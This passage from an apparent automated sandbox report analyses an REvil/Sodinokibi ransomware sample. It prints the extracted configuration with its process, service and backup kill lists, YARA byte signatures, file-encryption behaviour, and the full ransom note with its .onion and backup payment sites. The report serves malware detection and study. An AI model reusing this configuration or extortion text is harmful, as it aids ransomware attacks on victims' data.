4AbwB0ACAAYwBhAHIAZQAgAGEAYgBvAHUAdAAgAHkAbwB1ACAAYQBuAGQAIAB5AG8AdQByACAAZABlAGEAbABzACwAIABlAHgAYwBlAHAAdAAgAGcAZQB0AHQAaQBuAGcAIABiAGUAbgBlAGYAaQB0AHMALgAgAEkAZgAgAHcAZQAgAGQAbwAgAG4AbwB0ACAAZABvACAAbwB1AHIAIAB3AG8AcgBrACAAYQBuAGQAIABsAGkAYQBiAGkAbABpAHQAaQBlAHMAIAAtACAAbgBvAGIAbwBkAHkAIAB3AGkAbABsACAAbgBvAHQAIABjAG8AbwBwAGUAcgBhAHQAZQAgAHcAaQB0AGgAIAB1AHMALgAgAEkAdABzACAAbgBvAHQAIABpAG4AIABvAHUAcgAgAGkAbgB0AGUAcgBlAHMAdABzAC4ADQAKAFQAbwAgAGMAaABlAGMAawAgAHQAaABlACAAYQBiAGkAbABpAHQAeQAgAG8AZgAgAHIAZQB0AHUAcgBuAGkAbgBnACAAZgBpAGwAZQBzACwAIABZAG8AdQAgAHMAaABvAHUAbABkACAAZwBvACAAdABvACAAbwB1AHIAIAB3AGUAYgBzAGkAdABlAC4AIABUAGgAZQByAGUAIAB5AG8AdQAgAGMAYQBuACAAZABlAGMAcgB5AHAAdAAgAG8AbgBlACAAZgBpAGwAZQAgAGYAbwByACAAZgByAGUAZQAuACAAVABoAGEAdAAgAGkAcwAgAG8AdQByACAAZwB1AGEAcgBhAG4AdABlAGUALgANAAoASQBmACAAeQBvAHUAIAB3AGkAbABsACAAbgBvAHQAIABjAG8AbwBwAGUAcgBhAHQAZQAgAHcAaQB0AGgAIABvAHUAcgAgAHMAZQByAHYAaQBjAGUAIAAtACAAZgBvAHIAIAB1AHMALAAgAGkAdABzACAAZABvAGUAcwAgAG4AbwB0ACAAbQBhAHQAdABlAHIALgAgAEIAdQB0ACAAeQBvAHUAIAB3AGkAbABsACAAbABvAHMAZQAgAHkAbwB1AHIAIAB0AGkAbQBlACAAYQBuAGQAIABkAGEAdABhACwAIABjAGEAdQBzAGUAIABqAHUAcwB0ACAAdwBlACAAaABhAHYAZQAgAHQAaABlACAAcAByAGkAdgBhAHQAZQAgAGsAZQB5AC4AIABJAG4AIABwAHIAYQBjAHQAaQBzAGUAIAAtACAAdABpAG0AZQAgAGkAcwAgAG0AdQBjAGgAIABtAG8AcgBlACAAdgBhAGwAdQBhAGIAbABlACAAdABoAGEAbgAgAG0AbwBuAGUAeQAuAA0ACgANAAoAWwArAF0AIABIAG8AdwAgAHQAbwAgAGcAZQB0ACAAYQBjAGMAZQBzAHMAIABvAG4AIAB3AGUAYgBzAGkAdABlAD8AIABbACsAXQANAAoADQAKAFkAbwB1ACAAaABhAHYAZQAgAHQAdwBvACAAdwBhAHkAcwA6AA0ACgANAAoAMQApACAAWwBSAGUAYwBvAG0AbQBlAG4AZABlAGQAXQAgAFUAcwBpAG4AZwAgAGEAIABUAE8AUgAgAGIAcgBvAHcAcwBlAHIAIQANAAoAIAAgAGEAKQAgAEQAbwB3AG4AbABvAGEAZAAgAGEAbgBkACAAaQBuAHMAdABhAGwAbAAgAFQATwBSACAAYgByAG8AdwBzAGUAcgAgAGYAcgBvAG0AIAB0AGgAaQBzACAAcwBpAHQAZQA6ACAAaAB0AHQAcABzADoALwAvAHQAbwByAHAAcgBvAGoAZQBjAHQALgBvAHIAZwAvAA0ACgAgACAAYgApACAATwBwAGUAbgAgAG8AdQByACAAdwBlAGIAcwBpAHQAZQA6ACAAaAB0AHQAcAA6AC8ALwBhAHAAbABlAGIAegB1ADQANwB3AGcAYQB6AGEAcABkAHEAawBzADYAdgByAGMAdgA2AHoAYwBuAGoAcABwAGsAYgB4AGIAcgA2AHcAawBlAHQAZgA1ADYAbgBmADYAYQBxADIAbgBtAHkAbwB5AGQALgBvAG4AaQBvAG4ALwB7AFUASQBEAH0ADQAKAA0ACgAyACkAIABJAGYAIABUAE8AUgAgAGIAbABvAGMAawBlAGQAIABpAG4AIAB5AG8AdQByACAAYwBvAHUAbgB0AHIAeQAsACAAdAByAHkAIAB0AG8AIAB1AHMAZQAgAFYAUABOACEAIABCAHUAdAAgAHkAbwB1ACAAYwBhAG4AIAB1AHMAZQAgAG8AdQByACAAcwBlAGMAbwBuAGQAYQByAHkAIAB3AGUAYgBzAGkAdABlAC4AIABGAG8AcgAgAHQAaABpAHMAOgANAAoAIAAgAGEAKQAgAE8AcABlAG4AIAB5AG8AdQByACAAYQBuAHkAIABiAHIAbwB3AHMAZQByACAAKABDAGgAcgBvAG0AZQAsACAARgBpAHIAZQBmAG8AeAAsACAATwBwAGUAcgBhACwAIABJAEUALAAgAEUAZABnAGUAKQANAAoAIAAgAGIAKQAgAE8AcABlAG4AIABvAHUAcgAgAHMAZQBjAG8AbgBkAGEAcgB5ACAAdwBlAGIAcwBpAHQAZQA6ACAAaAB0AHQAcAA6AC8ALwBkAGUAYwBvAGQAZQByAC4AcgBlAC8AewBVAEkARAB9AA0ACgANAAoAVwBhAHIAbgBpAG4AZwA6ACAAcwBlAGMAbwBuAGQAYQByAHkAIAB3AGUAYgBzAGkAdABlACAAYwBhAG4AIABiAGUAIABiAGwAbwBjAGsAZQBkACwAIAB0AGgAYQB0AHMAIAB3AGgAeQAgAGYAaQByAHMAdAAgAHYAYQByAGkAYQBuAHQAIABtAHUAYwBoACAAYgBlAHQAdABlAHIAIABhAG4AZAAgAG0AbwByAGUAIABhAHYAYQBpAGwAYQBiAGwAZQAuAA0ACgANAAoAVwBoAGUAbgAgAHkAbwB1ACAAbwBwAGUAbgAgAG8AdQByACAAdwBlAGIAcwBpAHQAZQAsACAAcAB1AHQAIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAZABhAHQAYQAgAGkAbgAgAHQAaABlACAAaQBuAHAAdQB0ACAAZgBvAHIAbQA6AA0ACgBLAGUAeQA6AA0ACgANAAoADQAKAHsASwBFAFkAfQANAAoADQAKAA0ACgAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ADQAKAA0ACgAhACEAIQAgAEQAQQBOAEcARQBSACAAIQAhACEADQAKAEQATwBOAFQAIAB0AHIAeQAgAHQAbwAgAGMAaABhAG4AZwBlACAAZgBpAGwAZQBzACAAYgB5ACAAeQBvAHUAcgBzAGUAbABmACwAIABEAE8ATgBUACAAdQBzAGUAIABhAG4AeQAgAHQAaABpAHIAZAAgAHAAYQByAHQAeQAgAHMAbwBmAHQAdwBhAHIAZQAgAGYAbwByACAAcgBlAHMAdABvAHIAaQBuAGcAIAB5AG8AdQByACAAZABhAHQAYQAgAG8AcgAgAGEAbgB0AGkAdgBpAHIAdQBzACAAcwBvAGwAdQB0AGkAbwBuAHMAIAAtACAAaQB0AHMAIABtAGEAeQAgAGUAbgB0AGEAaQBsACAAZABhAG0AZwBlACAAbwBmACAAdABoAGUAIABwAHIAaQB2AGEAdABlACAAawBlAHkAIABhAG4AZAAsACAAYQBzACAAcgBlAHMAdQBsAHQALAAgAFQAaABlACAATABvAHMAcwAgAGEAbABsACAAZABhAHQAYQAuAA0ACgAhACEAIQAgACEAIQAhACAAIQAhACEADQAKAE8ATgBFACAATQBPAFIARQAgAFQASQBNAEUAOgAgAEkAdABzACAAaQBuACAAeQBvAHUAcgAgAGkAbgB0AGUAcgBlAHMAdABzACAAdABvACAAZwBlAHQAIAB5AG8AdQByACAAZgBpAGwAZQBzACAAYgBhAGMAawAuACAARgByAG8AbQAgAG8AdQByACAAcwBpAGQAZQAsACAAdwBlACAAKAB0AGgAZQAgAGIAZQBzAHQAIABzAHAAZQBjAGkAYQBsAGkAcwB0AHMAKQAgAG0AYQBrAGUAIABlAHYAZQByAHkAdABoAGkAbgBnACAAZgBvAHIAIAByAGUAcwB0AG8AcgBpAG4AZwAsACAAYgB1AHQAIABwAGwAZQBhAHMAZQAgAHMAaABvAHUAbABkACAAbgBvAHQAIABpAG4AdABlAHIAZgBlAHIAZQAuAA0ACgAhACEAIQAgACEAIQAhACAAIQAhACEAAAA=", "et": 0, "wipe": true, "wfld": ["backup"], "rdmcnt": 0, "nname": "{EXT}-readme.txt", "pk": "Rlt+C6D/gEdeFPKx3tCl9bN47HgPo+1UoMntjqnLK2g=", "net": false, "exp": true, "arn": false}

Yara Overview

Initial Sample

SourceRuleDescriptionAuthorStrings
46a40ec6_by_Libranalysis.exeMAL_RANSOM_REvil_Oct20_1Detects REvil ransomwareFlorian Roth
  • 0x51ba:$op1: 0F 8C 74 FF FF FF 33 C0 5F 5E 5B 8B E5 5D C3 8B
  • 0xa267:$op2: 8D 85 68 FF FF FF 50 E8 2A FE FF FF 8D 85 68 FF
  • 0xa853:$op3: 89 4D F4 8B 4E 0C 33 4E 34 33 4E 5C 33 8E 84
  • 0x9a8c:$op4: 8D 85 68 FF FF FF 50 E8 05 06 00 00 8D 85 68 FF
  • 0xa256:$op5: 8D 85 68 FF FF FF 56 57 FF 75 0C 50 E8 2F

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000001.00000003.812950203.00000000030F8000.00000004.00000040.sdmpJoeSecurity_SodinokibiYara detected Sodinokibi RansomwareJoe Security
    00000001.00000003.646855790.00000000030F8000.00000004.00000040.sdmpJoeSecurity_SodinokibiYara detected Sodinokibi RansomwareJoe Security
      00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmpMAL_RANSOM_REvil_Oct20_1Detects REvil ransomwareFlorian Roth
      • 0x4dba:$op1: 0F 8C 74 FF FF FF 33 C0 5F 5E 5B 8B E5 5D C3 8B
      • 0x9e67:$op2: 8D 85 68 FF FF FF 50 E8 2A FE FF FF 8D 85 68 FF
      • 0xa453:$op3: 89 4D F4 8B 4E 0C 33 4E 34 33 4E 5C 33 8E 84
      • 0x968c:$op4: 8D 85 68 FF FF FF 50 E8 05 06 00 00 8D 85 68 FF
      • 0x9e56:$op5: 8D 85 68 FF FF FF 56 57 FF 75 0C 50 E8 2F
      00000001.00000003.647040724.00000000030F8000.00000004.00000040.sdmpJoeSecurity_SodinokibiYara detected Sodinokibi RansomwareJoe Security
        00000001.00000000.646522087.0000000001361000.00000020.00020000.sdmpMAL_RANSOM_REvil_Oct20_1Detects REvil ransomwareFlorian Roth
        • 0x4dba:$op1: 0F 8C 74 FF FF FF 33 C0 5F 5E 5B 8B E5 5D C3 8B
        • 0x9e67:$op2: 8D 85 68 FF FF FF 50 E8 2A FE FF FF 8D 85 68 FF
        • 0xa453:$op3: 89 4D F4 8B 4E 0C 33 4E 34 33 4E 5C 33 8E 84
        • 0x968c:$op4: 8D 85 68 FF FF FF 50 E8 05 06 00 00 8D 85 68 FF
        • 0x9e56:$op5: 8D 85 68 FF FF FF 56 57 FF 75 0C 50 E8 2F
        Click to see the 7 entries

        Unpacked PEs

        SourceRuleDescriptionAuthorStrings
        1.2.46a40ec6_by_Libranalysis.exe.1360000.1.unpackMAL_RANSOM_REvil_Oct20_1Detects REvil ransomwareFlorian Roth
        • 0x51ba:$op1: 0F 8C 74 FF FF FF 33 C0 5F 5E 5B 8B E5 5D C3 8B
        • 0xa267:$op2: 8D 85 68 FF FF FF 50 E8 2A FE FF FF 8D 85 68 FF
        • 0xa853:$op3: 89 4D F4 8B 4E 0C 33 4E 34 33 4E 5C 33 8E 84
        • 0x9a8c:$op4: 8D 85 68 FF FF FF 50 E8 05 06 00 00 8D 85 68 FF
        • 0xa256:$op5: 8D 85 68 FF FF FF 56 57 FF 75 0C 50 E8 2F
        1.0.46a40ec6_by_Libranalysis.exe.1360000.0.unpackMAL_RANSOM_REvil_Oct20_1Detects REvil ransomwareFlorian Roth
        • 0x51ba:$op1: 0F 8C 74 FF FF FF 33 C0 5F 5E 5B 8B E5 5D C3 8B
        • 0xa267:$op2: 8D 85 68 FF FF FF 50 E8 2A FE FF FF 8D 85 68 FF
        • 0xa853:$op3: 89 4D F4 8B 4E 0C 33 4E 34 33 4E 5C 33 8E 84
        • 0x9a8c:$op4: 8D 85 68 FF FF FF 50 E8 05 06 00 00 8D 85 68 FF
        • 0xa256:$op5: 8D 85 68 FF FF FF 56 57 FF 75 0C 50 E8 2F

        Sigma Overview

        No Sigma rule has matched

        Signature Overview

        Click to jump to signature section

        Show All Signature Results

        AV Detection:

        barindex
        Antivirus / Scanner detection for submitted sampleShow sources
        Source: 46a40ec6_by_Libranalysis.exeAvira: detected
        Found malware configurationShow sources
        Source: 46a40ec6_by_Libranalysis.exe.6892.1.memstrMalware Configuration Extractor: Sodinokibi {"prc": ["oracle", "onenote", "msaccess", "dbsnmp", "firefox", "ocssd", "excel", "wordpad", "isqlplussvc", "thebat", "dbeng50", "sql", "mspub", "visio", "steam", "outlook", "encsvc", "mydesktopservice", "powerpnt", "winword", "ocautoupds", "synctime", "agntsvc", "tbirdconfig", "thunderbird", "sqbcoreservice", "ocomm", "mydesktopqos", "infopath", "xfssvccon"], "sub": "7495", "svc": ["mepocs", "memtas", "svc$", "sophos", "sql", "vss", "veeam", "backup"], "wht": {"ext": ["diagcfg", "drv", "msu", "bat", "icl", "diagpkg", "adv", "rom", "hlp", "msi", "ani", "nomedia", "deskthemepack", "themepack", "key", "ocx", "mod", "nls", "com", "scr", "cur", "msc", "ps1", "icns", "lnk", "prf", "ics", "ldf", "theme", "rtp", "wpx", "diagcab", "msstyles", "bin", "idx", "ico", "shs", "386", "cmd", "mpa", "lock", "spl", "hta", "exe", "dll", "msp", "cab", "cpl", "sys"], "fls": ["bootsect.bak", "boot.ini", "ntuser.dat", "bootfont.bin", "ntldr", "ntuser.ini", "thumbs.db", "autorun.inf", "ntuser.dat.log", "desktop.ini", "iconcache.db"], "fld": ["windows.old", "msocache", "intel", "application data", "program files", "tor browser", "mozilla", "program files (x86)", "appdata", "windows", "programdata", "system volume information", "$recycle.bin", "perflogs", "google", "$windows.~bt", "$windows.~ws", "boot"]}, "img": "QQBsAGwAIABvAGYAIAB5AG8AdQByACAAZgBpAGwAZQBzACAAYQByAGUAIABlAG4AYwByAHkAcAB0AGUAZAAhAA0ACgANAAoARgBpAG4AZAAgAHsARQBYAFQAfQAtAHIAZQBhAGQAbQBlAC4AdAB4AHQAIABhAG4AZAAgAGYAbwBsAGwAbwB3ACAAaQBuAHMAdAB1AGMAdABpAG8AbgBzAAAA", "dmn": "the-virtualizer.com;aminaboutique247.com;thaysa.com;aunexis.ch;allentownpapershow.com;plotlinecreative.com;spinheal.ru;darrenkeslerministries.com;peterstrobos.com;sanyue119.com;extraordinaryoutdoors.com;airconditioning-waalwijk.nl;ledmes.ru;all-turtles.com;euro-trend.pl;ausbeverage.com.au;micro-automation.de;easytrans.com.au;sandd.nl;wien-mitte.co.at;bargningavesta.se;spylista.com;comarenterprises.com;teknoz.net;boulderwelt-muenchen-west.de;cactusthebrand.com;c2e-poitiers.com;jerling.de;zervicethai.co.th;macabaneaupaysflechois.com;bptdmaluku.com;opatrovanie-ako.sk;lapinlviasennus.fi;travelffeine.com;outcomeisincome.com;cite4me.org;verbisonline.com;ausair.com.au;sahalstore.com;delchacay.com.ar;blewback.com;bodyfulls.com;autodemontagenijmegen.nl;fairfriends18.de;stampagrafica.es;makeitcount.at;richard-felix.co.uk;modelmaking.nl;web.ion.ag;extensionmaison.info;lusak.at;zweerscreatives.nl;gantungankunciakrilikbandung.com;mbxvii.com;stormwall.se;takeflat.com;levihotelspa.fi;rushhourappliances.com;hairnetty.wordpress.com;slimidealherbal.com;mirjamholleman.nl;onlyresultsmarketing.com;fitnessingbyjessica.com;huesges-gruppe.de;mapawood.com;norpol-yachting.com;twohourswithlena.wordpress.com;ralister.co.uk;zewatchers.com;mardenherefordshire-pc.gov.uk;mir-na-iznanku.com;polymedia.dk;notmissingout.com;gasbarre.com;you-bysia.com.au;kuntokeskusrok.fi;delawarecorporatelaw.com;lionware.de;femxarxa.cat;shonacox.com;nachhilfe-unterricht.com;embraci
        Multi AV Scanner detection for submitted fileShow sources
        Source: 46a40ec6_by_Libranalysis.exeVirustotal: Detection: 73%Perma Link
        Source: 46a40ec6_by_Libranalysis.exeMetadefender: Detection: 44%Perma Link
        Source: 46a40ec6_by_Libranalysis.exeReversingLabs: Detection: 82%
        Machine Learning detection for sampleShow sources
        Source: 46a40ec6_by_Libranalysis.exeJoe Sandbox ML: detected
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: 1_2_01365981 CryptAcquireContextW,CryptGenRandom,1_2_01365981
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: 1_2_013660F9 CryptStringToBinaryW,CryptStringToBinaryW,1_2_013660F9
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: 1_2_0136615A CryptBinaryToStringW,CryptBinaryToStringW,1_2_0136615A
        Source: 46a40ec6_by_Libranalysis.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeDirectory created: c:\program files\pci8j8oug-readme.txtJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile created: C:\pci8j8oug-readme.txtJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile created: c:\program files\pci8j8oug-readme.txtJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile created: c:\program files (x86)\pci8j8oug-readme.txtJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile created: c:\recovery\pci8j8oug-readme.txtJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile created: c:\users\pci8j8oug-readme.txtJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile created: c:\program files (x86)\microsoft sql server\pci8j8oug-readme.txtJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile created: c:\users\default\pci8j8oug-readme.txtJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: z:Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: x:Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: v:Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: t:Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: r:Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: p:Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: n:Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: l:Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: j:Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: h:Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: f:Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: b:Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: y:Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: w:Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: u:Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: s:Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: q:Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: o:Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: m:Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: k:Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: i:Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: g:Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: e:Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: c:Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: a:Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: 1_2_01367DA1 FindFirstFileExW,FindFirstFileW,FindNextFileW,FindClose,1_2_01367DA1
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: C:\Program Files\Google\Chrome\NULLJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: C:\Program Files\Google\NULLJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: C:\Program Files\Google\Chrome\Application\NULLJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: C:\Program Files\Google\ChromeJump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: C:\Program Files\Google\Chrome\Application\85.0.4183.121Jump to behavior
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeFile opened: C:\Program Files\Google\Chrome\ApplicationJump to behavior

        Networking:

        barindex
        Found Tor onion addressShow sources
        Source: 46a40ec6_by_Libranalysis.exe, 00000001.00000003.646956316.000000000307C000.00000004.00000040.sdmpString found in binary or memory: b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID}
        Source: 46a40ec6_by_Libranalysis.exe, 00000001.00000002.918186145.000000000307C000.00000004.00000040.sdmpString found in binary or memory: b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/30E456597D896371
        Source: pci8j8oug-readme.txt3.1.drString found in binary or memory: b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/30E456597D896371
        Source: 46a40ec6_by_Libranalysis.exe, 00000001.00000003.646956316.000000000307C000.00000004.00000040.sdmpString found in binary or memory: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/
        Source: 46a40ec6_by_Libranalysis.exe, 00000001.00000002.918186145.000000000307C000.00000004.00000040.sdmp, pci8j8oug-readme.txt3.1.drString found in binary or memory: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/30E456597D896371
        Source: 46a40ec6_by_Libranalysis.exe, 00000001.00000003.646956316.000000000307C000.00000004.00000040.sdmpString found in binary or memory: http://decoder.re/
        Source: 46a40ec6_by_Libranalysis.exe, 00000001.00000002.918186145.000000000307C000.00000004.00000040.sdmp, pci8j8oug-readme.txt3.1.drString found in binary or memory: http://decoder.re/30E456597D896371
        Source: 46a40ec6_by_Libranalysis.exe, 00000001.00000003.646956316.000000000307C000.00000004.00000040.sdmp, pci8j8oug-readme.txt3.1.drString found in binary or memory: https://torproject.org/

        Spam, unwanted Advertisements and Ransom Demands:

        barindex
        Found ransom note / readmeShow sources
        Source: C:\pci8j8oug-readme.txtDropped file: ---=== Welcome. Again. ===---[+] Whats Happen? [+]Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension pci8j8oug.By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).[+] What guarantees? [+]Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee.If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money.[+] How to get access on website? [+]You have two ways:1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/30E456597D8963712) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decoder.re/30E456597D896371Warning: secondary website can be blocked, thats why first variant much bJump to dropped file
        Yara detected Sodinokibi RansomwareShow sources
        Source: Yara matchFile source: 00000001.00000003.812950203.00000000030F8000.00000004.00000040.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000001.00000003.646855790.00000000030F8000.00000004.00000040.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000001.00000003.647040724.00000000030F8000.00000004.00000040.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000001.00000003.646938772.00000000030F8000.00000004.00000040.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000001.00000003.646977922.00000000030F8000.00000004.00000040.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000001.00000003.647095256.00000000030F8000.00000004.00000040.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000001.00000003.646900362.00000000030F8000.00000004.00000040.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000001.00000003.647011219.00000000030F8000.00000004.00000040.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000001.00000003.647076289.00000000030F8000.00000004.00000040.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: 46a40ec6_by_Libranalysis.exe PID: 6892, type: MEMORY
        Contains functionalty to change the wallpaperShow sources
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: 1_2_01364CE2 GetDC,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,GetDeviceCaps,MulDiv,CreateFontW,SelectObject,SetBkMode,SetTextColor,GetStockObject,FillRect,SetPixel,DrawTextW,SystemParametersInfoW,DeleteObject,DeleteObject,DeleteDC,ReleaseDC,1_2_01364CE2
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: 1_2_01365A70 NtShutdownSystem,ExitWindowsEx,1_2_01365A70
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: 1_2_01363FC9 OpenSCManagerW,EnumServicesStatusExW,RtlGetLastWin32Error,CloseServiceHandle,CloseServiceHandle,EnumServicesStatusExW,OpenServiceW,ControlService,DeleteService,CloseServiceHandle,CloseServiceHandle,1_2_01363FC9
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: 1_2_01365A70 NtShutdownSystem,ExitWindowsEx,1_2_01365A70
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: 1_2_0136C0431_2_0136C043
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: 1_2_0136B3AE1_2_0136B3AE
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: 1_2_013693991_2_01369399
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: 1_2_01368C181_2_01368C18
        Source: C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exeCode function: 1_2_01368E761_2_01368E76
        Source: 46a40ec6_by_Libranalysis.exe, 00000001.00000002.915672039.0000000000FE0000.00000002.00000001.sdmpBinary or memory string: OriginalFilenamempr.dll.muij% vs 46a40ec6_by_Libranalysis.exe
        Source: 46a40ec6_by_Libranalysis.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
        Source: 46a40ec6_by_Libranalysis.exe, type: SAMPLEMatched rule: MAL_RANSOM_REvil_Oct20_1 date = 2020-10-13, hash4 = fc26288df74aa8046b4761f8478c52819e0fca478c1ab674da7e1d24e1cfa501, hash3 = f6857748c050655fb3c2192b52a3b0915f3f3708cd0a59bbf641d7dd722a804d, hash2 = f66027faea8c9e0ff29a31641e186cbed7073b52b43933ba36d61e8f6bce1ab5, hash1 = 5966c25dc1abcec9d8603b97919db57aac019e5358ee413957927d3c1790b7f4, author = Florian Roth, description = Detects REvil ransomware, reference = Internal Research
        Source: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, type: MEMORYMatched rule: MAL_RANSOM_REvil_Oct20_1 date = 2020-10-13, hash4 = fc26288df74aa8046b4761f8478c52819e0fca478c1ab674da7e1d24e1cfa501, hash3 = f6857748c050655fb3c2192b52a3b0915f3f3708cd0a59bbf641d7dd722a804d, hash2 = f66027faea8c9e0ff29a31641e186cbed7073b52b43933ba36d61e8f6bce1ab5, hash1 = 5966c25dc1abcec9d8603b97919db57aac019e5358ee413957927d3c1790b7f4, author = Florian Roth, description = Detects REvil ransomware, reference = Internal Research
        Source: 00000001.00000000.646522087.0000000001361000.00000020.00020000.sdmp, type: MEMORYMatched rule: MAL_RANSOM_REvil_Oct20_1 date = 2020-10-13, hash4 = fc26288df74aa8046b4761f8478c52819e0fca478c1ab674da7e1d24e1cfa501, hash3 = f6857748c050655fb3c2192b52a3b0915f3f3708cd0a59bbf641d7dd722a804d, hash2 = f66027faea8c9e0ff29a31641e186cbed7073b52b43933ba36d61e8f6bce1ab5, hash1 = 5966c25dc1abcec9d8603b97919db57aac019e5358ee413957927d3c1790b7f4, author = Florian Roth, description = Detects REvil ransomware, reference = Internal Research
